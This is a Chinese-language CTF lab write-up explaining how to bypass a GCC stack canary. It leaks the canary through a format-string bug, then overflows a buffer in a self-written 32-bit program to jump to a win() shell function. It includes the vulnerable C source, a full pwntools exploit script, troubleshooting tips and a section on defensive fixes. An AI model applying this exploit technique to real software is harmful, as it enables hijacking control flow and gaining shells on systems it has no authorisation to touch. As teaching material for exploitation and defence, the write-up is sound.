最近又在一道实验题上栽了个跟头:程序明明只存在一个很典型的栈溢出,却因为开启了 Canary,让我的第一次直接覆盖返回地址尝试当场被__stack_chk_fail拦了下来。后来换了个思路,先利用程序自带的格式化字符串漏洞把 Canary 泄露出来,再拼一个“完整”的溢出 payload,直接跳到程序里留好的后门函数win(),才顺利拿到了 shell。
这篇文章就把这次完整的实验过程记下来。核心是绕过 Canary 的其中一种思路——先泄露,再覆盖。内容会涉及栈溢出的基础、Canary 的机制、格式化字符串信息泄露、后门函数的利用,以及我在实操中踩过的几个坑。适合正在入门二进制安全、做 CTF PWN 题,或者想深入理解栈保护机制绕过原理的读者。整个过程都在本地实验环境或授权靶场里完成,目的是搞清楚漏洞背后的攻防逻辑。
1. 前置知识:为什么 Canary 让栈溢出从“简单”变“麻烦”
1.1 栈溢出利用的基本逻辑
栈溢出之所以经典,是因为它直接戳中了程序运行时最核心的机制——函数调用和返回。当一个函数被调用时,栈上会依次压入返回地址、保存的帧指针(EBP/RBP),然后为局部变量分配空间。如果程序往里写入的数据超过了局部缓冲区的容量,多出来的字节就会继续向栈的高地址方向蔓延,最终覆盖到保存的 EBP 和返回地址。
攻击者如果把返回地址改成一个可控的地址,比如程序里已有的某个函数,那当函数执行ret指令时,CPU 就会跳转到这个被修改的地址。这一步的本质就是劫持控制流。经典做法有ret2text、ret2shellcode、ret2libc等等,核心都是围绕“覆盖返回地址、跳到我们想去的地方”展开。
栈溢出的产生条件也简单:代码里使用了不限制长度的危险函数。常见的有strcpy、sprintf、gets、read等。只要输入长度可以被攻击者控制,而目标缓冲区又开得不够大,溢出就存在。经典的演示代码通常是:
char buf[64]; gets(buf);这种代码在旧时代遍地都是,现在很多加了编译器保护的程序已经不会这么裸奔了,但只要逻辑上存在长度可控的写入,栈溢出依然会出现。
1.2 Canary 是什么
Canary 是编译器在函数栈帧中放置的一个“哨兵值”,中文一般叫“栈金丝雀”。它的原理并不复杂。在函数入口处,编译器会生成一段代码,把一个随机值写入栈上局部变量和保存的 EBP 之间。在函数返回前,编译器再检查这个值是否被修改。如果被修改了,说明栈发生了溢出,程序会立刻调用__stack_chk_fail终止运行。
用 GCC 开启栈保护后,典型的函数栈布局是这样的:
高地址 +-------------------+ | 返回地址 | +-------------------+ | 保存的 EBP | +-------------------+ | Canary | +-------------------+ | 局部缓冲区 | +-------------------+ 低地址注意 Canary 的最低一个字节通常是0x00,这是为了让它同时可以作为字符串结束符。如果攻击者用一个基于字符串的函数(比如strcpy)来溢出,那么在遇到0x00时会自动停止,无法继续覆盖到后面的 EBP 和返回地址。这个设计很巧妙,但也可以被绕过。
开启 Canary 之后,直接从缓冲区底部一路覆盖到返回地址的做法就行不通了。因为溢出必然会改变 Canary 的值。除非我们能让 Canary 在覆盖后被恢复成原来的样子,否则程序会在返回前检测到异常并退出。
1.3 后门函数在利用中的角色
很多 PWN 实验题里会故意留一个没有被调用的函数,名字可能是win、backdoor、shell,里面往往直接执行system("/bin/sh")或者execve("/bin/sh", NULL, NULL)。这个函数在正常程序流程中永远不会被调用,但它存在,就给了攻击者一个很好的跳转目标。
这种函数被大家叫成后门函数,但在实验里它其实只是验证栈溢出的一个“目标地址”。有了它,我们不需要往栈上写 shellcode,也不需要去 libc 里找 system 和/bin/sh字符串,更不需要考虑栈是否可执行。只需要让程序跳转到这个函数入口就行。
反过来说,如果在真实程序中发现了类似的隐藏函数或者未授权的调试接口,那风险非常高。这也是很多安全测试里会重点检查的东西。
2. 实验目标与漏洞分析
2.1 准备一个“有 Canary 也有后门”的样例程序
为了演示,我自己写了一个很小的程序。它同时包含两个漏洞点:一个格式化字符串漏洞和一个栈溢出漏洞。后门函数就叫win,直接调system("/bin/sh")。
#include <stdio.h> #include <unistd.h> void win() { system("/bin/sh"); } void vulnerable() { char buf[64]; read(0, buf, 0x100); printf(buf); } int main() { vulnerable(); vulnerable(); return 0; }这里有几个刻意的设计:
read(0, buf, 0x100)给缓冲区buf赋值,但buf只有 64 字节,一次最多读 256 字节,栈溢出是显然的。printf(buf)直接把用户输入当作格式化字符串,是典型的格式化字符串漏洞,用来泄露 Canary。main里连续调用了两次vulnerable()。这是为了让我在同一进程内先泄露 Canary,再发起溢出攻击。如果只调用一次,泄露完函数就退出了,进程结束,第二次攻击时的 Canary 已经重新生成,就没法用了。
编译时开启栈保护,关闭 PIE,方便固定地址演示:
gcc -m32 -no-pie -fstack-protector-all -o pwn pwn.c如果你是 64 位系统,编译 32 位程序可能需要安装gcc-multilib。也可以用 Docker 搭一个带 32 位库的环境,或者把程序改成 64 位,但对应偏移和参数传递会有一点变化,后面会提到。
编译完用checksec看一眼保护状态,输出大概是这样的:
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)能看到 Stack 一行是Canary found,说明栈保护已经开启。另外 PIE 是关闭的,所以win函数的地址固定,可以直接从符号表里拿。
2.2 分析漏洞点:格式化字符串 + 栈溢出
这个程序里read之后马上执行printf(buf),输入内容没有作为普通字符串输出,而是被当成了格式化字符串。这意味着如果我输入%p,printf会把栈上的数据当作指针打印出来。
为什么能泄露 Canary?因为 Canary 在函数的栈帧里,正好位于局部变量buf和保存的 EBP 之间。当printf(buf)解析可变参数时,32 位程序下参数是从栈上连续读取的。Canary 作为栈帧里的一部分,自然也处在这些可被读取的范围内。只要用%p之类的格式符,就能把它带出来。
而栈溢出则来自read的长度没限制。buf只有 64 字节,但可以读 0x100 字节。正常情况下,多余的输入会直接越过buf边界,覆盖到 Canary、保存的 EBP 和返回地址。
所以这个程序的核心矛盾在于:栈溢出试图覆盖返回地址,但 Canary 挡在中间;格式化字符串漏洞给了我们一个拿到 Canary 的窗口。两者组合起来,就可以先泄露,再绕过。
2.3 为什么不能直接覆盖返回地址
我一开始图省事,直接按经典的栈溢出攻击构造了一个 payload,把 64 字节缓冲区填满,然后直接写返回地址:
payload = b'A' * 64 + b'B' * 4 + p32(win_addr)发送之后程序没有任何 shell 回显,而是直接报错退出。用调试器跟进去,发现程序在执行ret之前,先走到了__stack_chk_fail。
原因很容易理解:64 字节的A填满了buf,接下来的 4 字节B原本是 Canary 的位置,但被我改成了0x42424242。函数返回前检查 Canary 时发现和入口处保存的值不一致,于是判定栈被破坏,直接终止。
失败现场大概是:
*** stack smashing detected ***: <unknown> terminated Aborted这个现象在真实系统里也很常见。你向一个有栈保护的程序灌了过长的输入,它大概率会以这种形式退出,而不会静静地让你劫持控制流。所以必须先解决 Canary 的问题。
3. 绕过 Canary 的路线选择
3.1 主流绕过思路对比
Canary 不是不可战胜的,关键在于它的校验点只有一个:函数返回前。只要你能让校验时的 Canary 和进入函数时的值一致,就相当于绕过了。
常见的思路大概有下面几种,我列个表方便对比:
| 绕过方式 | 核心原理 | 适用条件 | 难度 |
|---|---|---|---|
| 泄露 Canary | 先通过各种信息泄露把 Canary 读出来,再在溢出时原样写回 | 程序存在格式化字符串、越界读、打印类漏洞 | 中 |
| 逐字节爆破 | 每次只猜 Canary 的一个字节,利用 fork 子进程 Canary 不变的特点反复尝试 | 目标程序使用 fork 处理请求,每次连接 Canary 相同 | 中高 |
| 覆盖栈上指针 | 不碰返回地址,先改写某个会被间接调用的函数指针或记录器 | 程序存在可被覆写的指针,且有间接跳转点 | 高 |
劫持__stack_chk_fail | 如果可以改写 GOT 表,把失败处理函数改成自己的目标函数 | 程序有任意写、格式化字符串%n能力 | 高 |
现实中具体选哪条路,取决于程序给了你什么。如果程序里有格式化字符串漏洞,第一条路通常最顺;如果是网络服务且每次连接由 fork 出来的子进程处理,那爆破也很实用。
3.2 为什么选择“格式化字符串泄露 + 栈溢出”
这次实验程序里已经明确存在printf(buf),直接使用格式化字符串泄露 Canary 是成本最低、也最容易讲清楚的方案。它的核心逻辑是:先让程序把栈上数据打印出来,从输出里识别 Canary,然后带着这个值去构造溢出 payload。
还有一点,win()函数直接调用了system("/bin/sh"),这意味着我们不需要在栈上执行任何机器码。因此即便程序开启了 NX,也完全不影响这次利用。后门函数的价值就在这里。
没有后门函数的情况下,同样泄露 Canary 之后,我们还要面对“跳到哪里”的问题。可能需要泄露 libc 地址,再找一个 one_gadget 或者 system 加/bin/sh的 ROP 链。过程更繁琐,但思路是相通的。所以这个实验很好地保住了核心知识点,没有被额外复杂性掩盖。
3.3 泄露 Canary 的常见手段
除了格式化字符串,泄露 Canary 还有其他常见路子:
- 利用越界读:比如
read之后用write输出超过缓冲区长度的字节,直接带出后面的栈数据。 - 利用
strlen等函数读取到0x00为止:如果 Canary 最低字节是0x00,某些基于 C 字符串的输出会在 Canary 处截断,拿不到完整值。但如果读函数不认0x00,就可以完整带出。 - 利用格式化字符串:这是最灵活的,因为它不仅能泄露,还有可能配合
%n做任意写。
在本文示例中,Canary 最低字节是0x00,但%p是直接把内存里的 4 字节当作数值打印,不会因为0x00截断。所以格式化字符串泄露天然适合拿 Canary。
4. 完整攻击流程:从泄露 Canary 到拿到 Shell
4.1 第一步:确定溢出偏移与格式化参数位置
先确认溢出偏移。因为buf是 64 字节,Canary 紧随其后,所以从缓冲区起始到 Canary 的距离就是 64 字节。这个距离也叫偏移(offset)。我更严谨的做法是用cyclic工具生成一个易识别的字符串输入,然后看崩溃时返回地址变成了什么。
但这里结构太简单,64 是明摆着的。真正需要注意的反而是格式化字符串的参数位置。为了让后续泄露稳一点,我用AAAA加多个%p来定位输入内容在格式化参数里出现在第几个。
发送:
AAAA%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p输出中会有一个0x41414141,它代表我们输入的AAAA被当成了某个参数。找到它的位置后,再配合栈布局推算 Canary 的位置。当然,直接扫描全部输出,找末尾为00的值也同样有效。
4.2 第二步:泄露 Canary
我写了一个小脚本,通过%p连续打印栈上参数,再自动寻找满足条件的 Canary。判断标准很简单:值不为 0,且最低字节为 0(即val & 0xff == 0)。
但注意,栈上也可能有一些地址也满足低字节为 0,所以不能只凭一次输出就确认。我会多看几项,尤其是那些看起来像随机数的值。Canary 是随机生成的,每次进程启动都不同,和栈地址有明显的形态差异。
定位阶段可以发送这样一段格式字符串:
fmt = '.'.join([f'%{i}$p' for i in range(1, 33)])它会输出前 32 个参数。在输出中找满足条件的那个值。
假设某次输出中第 23 个参数是0x86f3ab00,这明显就是 Canary。因为最低字节是00,其余字节是随机数。
这个步骤的完整脚本片段:
from pwn import * context.arch = 'i386' context.log_level = 'info' p = process('./pwn') fmt = '.'.join([f'%{i}$p' for i in range(1, 33)]) p.sendline(fmt.encode()) line = p.recvline().decode().strip() parts = line.split('.') canary = None for part in parts: if part.startswith('0x'): val = int(part, 16) if val != 0 and (val & 0xff) == 0: canary = val break log.info('canary = ' + hex(canary))第一次vulnerable()读完并打印后正常返回,Canary 校验通过。由于进程还没退出,第二次调用vulnerable()时,Canary 和第一次是同一个值。这一个细节非常关键,后面会细说。
4.3 第三步:组装最终 Payload
拿到 Canary 之后,payload 的构造就变成:
填充 64 字节 + 原始 Canary + 随意 4 字节 + win 函数地址具体来说,64 字节填满buf;接下来的 4 字节必须写原始 Canary;再接下来的 4 字节是保存的 EBP,可以随意;最后 4 字节是返回地址,覆盖为win的地址。
为什么 Canary 不能稍微随便写?因为函数返回前会把它和入口处保存的值做比较,必须完全一致,一个字节都不能错。
获取win地址可以用nm或者 pwntools:
nm ./pwn | grep win假设输出是:
0804922b T win那么在脚本里可以写成:
elf = ELF('./pwn') win_addr = elf.symbols['win']最终 payload:
offset = 64 payload = b'A' * offset payload += p32(canary) payload += b'B' * 4 payload += p32(win_addr)注意发送时最好用p.send(payload)而不是p.sendline(payload)。sendline会额外追加一个\n,这个换行也会被read读进去,可能会多覆盖返回地址后面的一个字节。虽然很多时候不影响结果,但很容易在边界场景里引入诡异问题。
4.4 第四步:获得 Shell
把泄露和利用写在一个脚本里,保持同一个进程连接:
from pwn import * context.arch = 'i386' context.log_level = 'info' elf = ELF('./pwn') win_addr = elf.symbols['win'] offset = 64 p = process('./pwn') # 泄露 Canary fmt = '.'.join([f'%{i}$p' for i in range(1, 33)]) p.sendline(fmt.encode()) line = p.recvline().decode().strip() canary = None for part in line.split('.'): if part.startswith('0x'): val = int(part, 16) if val != 0 and (val & 0xff) == 0: canary = val break if canary is None: log.failure('canary not found') exit(1) log.info(f'canary = {hex(canary)}') log.info(f'win_addr = {hex(win_addr)}') # 溢出利用 payload = b'A' * offset payload += p32(canary) payload += b'B' * 4 payload += p32(win_addr) p.send(payload) p.interactive()运行到p.interactive()之后,如果能顺利进入交互模式,直接输入id、ls、whoami这类命令都能看到回显。这就说明程序的控制流已经被劫持到了win(),system("/bin/sh")成功执行。
整个流程拆开看就四步:找偏移、泄 Canary、拼 payload、拿 shell。每一步都有明确的失败模式,排查起来并不难。
5. 踩坑记录与排查思路
5.1 格式化字符串泄露 Canary 的坑
用格式化字符串泄露 Canary,最容易踩的坑是把%p用成%s。%s会把对应栈参数当作字符串地址,然后去读取那个地址。如果地址非法,程序直接段错误。%p只是打印数值,不会解引用,安全得多。
第二个坑是格式化参数的位置不稳定。尤其在不同操作系统、不同编译版本下,Canary 出现在第几个参数可能不一样。解决方式是不要写死位置,而是用循环把前几十个参数全打出来,再从输出里找特征值。
另外,32 位和 64 位的格式化字符串传参方式完全不同。64 位下前几个格式化参数会用寄存器传递,并不是直接从栈上取。这意味着同样的泄露方法在 64 位程序里,Canary 的位置可能出现在更靠后的参数中。本文用的是 32 位,如果读者换成 64 位,需要调整参数范围。
还有一个容易忽略的问题:如果你在第一次输入里只发格式化字符串,不附带换行,有些环境的printf输出会因为行缓冲没有及时刷新,导致你recvline等不到数据。解决办法是在格式化字符串末尾带一个\n,让输出及时 flush。
5.2 覆盖返回地址时的细节
最典型的失败是 offset 算错。如果实际偏移不是 64,你填了 64,可能覆盖到旧 EBP 或者根本没触达 Canary。用cyclic工具测一下偏移是最稳的,不要凭感觉填。
第二个典型问题是把 Canary 当作固定值。有些新手在第一次成功拿到一个 Canary 后,写死这个值去攻击其他进程,结果失败。常规目标每次进程启动都会重新生成随机 Canary,必须在同一进程内完成泄露和利用。
还有一点是关于 saved EBP 的填充。有些教程里会说填充 4 字节,有些说 8 字节,这取决于目标架构。32 位是 4 字节,64 位是 8 字节。本文示例是 32 位,所以旧 EBP 的位置只填 4 字节。如果你套用 64 位模板,这段填充也要改成 8 字节。
payload 末尾不要发送多余换行,前面已经提过。如果非要sendline,也要确认多出来的0x0a不会破坏后续栈布局。比较稳妥的写法是send(payload),需要结束输入时由程序自己的read逻辑决定。
5.3 拿不到 Shell 后的排查清单
如果已经成功跳转到win(),但 shell 没有回显,可以按这个顺序排查:
第一,确认win()真的被调用了。可以在调试器里给win()下断点,或者在win()开头临时改成调用puts("win")来验证。这一步能区分是控制流劫持失败,还是system("/bin/sh")执行有问题。
第二,检查标准输入输出是否和当前会话绑定。用p.interactive()时,pwntools 会把进程的 stdin/stdout 和当前终端对接,一般没问题。如果 shell 起来了但没有提示符,直接尝试发送命令,比如p.sendline(b'id'),再接收输出。
第三,考虑栈对齐问题。在 64 位程序里调用system时,如果栈没有按 16 字节对齐,system内部可能会因为movaps指令触发段错误。解决办法是在 payload 里加一个ret指令地址,让栈对齐。32 位程序一般没这个问题,所以本文避开了。
第四,检查/bin/sh是否可用。在一些精简容器或实验环境里,/bin/sh是存在的,但如果被 chroot 或权限限制,也可能无回显。可以先在本地 shell 里手动执行确认。
我把这些常见问题整理成一个速查表:
| 现象 | 可能原因 | 排查方向 |
|---|---|---|
输出*** stack smashing detected *** | Canary 被改 | 检查 offset 和 Canary 值 |
recvline卡住 | printf 输出未刷新 | 格式化字符串末尾加换行 |
| 进程段错误 | %s读取非法地址 | 改用%p |
| 程序退出了但没 shell | win 未跳转或 system 失败 | 下断点确认控制流 |
| shell 返回但无回显 | 输入输出未绑定 | 直接sendline测试命令 |
| 64 位下崩溃 | 栈未对齐 | 加 ret 对齐 |
6. 防御视角:一次攻击背后的反思
6.1 单靠 Canary 不够
这次实验最直接的结论是:Canary 只能增加栈溢出的利用难度,不能保证程序绝对安全。只要程序存在其它信息泄露点,Canary 就能被读出来,然后原样写回,整个校验形同虚设。
现代系统的安全策略从来不是靠单一机制。NX 让栈不可执行,PIE 和 ASLR 让地址随机化,RELRO 保护 GOT 表,seccomp 限制系统调用,CFI 校验控制流完整性。这些机制组合在一起,才让漏洞利用的链条变得足够长。
从防御者角度看,最需要关注的是“漏洞组合”。单个溢出也许很难利用,但一旦配合格式化字符串、越界读、逻辑漏洞,攻击面就会迅速扩大。这也是为什么代码审计不能只看某一个函数,而要把数据流串起来看。
6.2 后门函数与攻击面治理
后门函数在 CTF 里是给选手的“福利”,但在真实系统里就是灾难。任何没有被调用的管理接口、调试函数、隐藏命令,都可能成为攻击者的目标。攻击者不需要去构造复杂的 ROP 链,只要找到这个函数并劫持控制流过去就够了。
生产环境的代码治理应该做到几点:不留调试后门,不把高权限操作写进未授权可达的函数,定期清理死代码,对函数符号做 strip。另外,system("/bin/sh")这种操作不应该出现在业务逻辑里。即使只是测试代码,也要隔离在专门的实验环境里。
这次实验也提醒我,GCC 的-fstack-protector-all不是万能药。开了 Canary,照样能通过信息泄露绕过。更好的做法是在编写代码时就避免使用危险函数,比如把read(0, buf, 0x100)改成限制长度到 64 的读取,把printf(buf)改成printf("%s", buf)。这些是成本最低、效果最好的修复方式。
6.3 安全研究中的边界
最后聊一点个人体会。栈溢出、格式化字符串这些内容,本质上都是程序行为机制的知识。掌握它们不是为了去攻击别人的系统,而是为了理解漏洞为什么会存在、如何被利用,进而在写代码和做防御时有更准确的判断。
我在实际做这类实验时,会严格把目标限制在本地虚拟机、CTF 比赛平台或者获得了明确授权的靶场里。真实业务系统上发现了疑似漏洞,应该走正规的漏洞报告流程,而不是自己去试拿 shell。这个边界一定要分清。
这次实验完整跑下来,我最大的感受是:绕过 Canary 的过程一点都不玄乎,核心就一句话——既然它校验的是值,那就先想办法把值偷出来,再原样放回去。安全机制的对抗,本质上都是信息控制权的对抗。理解了这一点,后面再看 PIE、NX、seccomp 这些机制时,思路会清晰很多。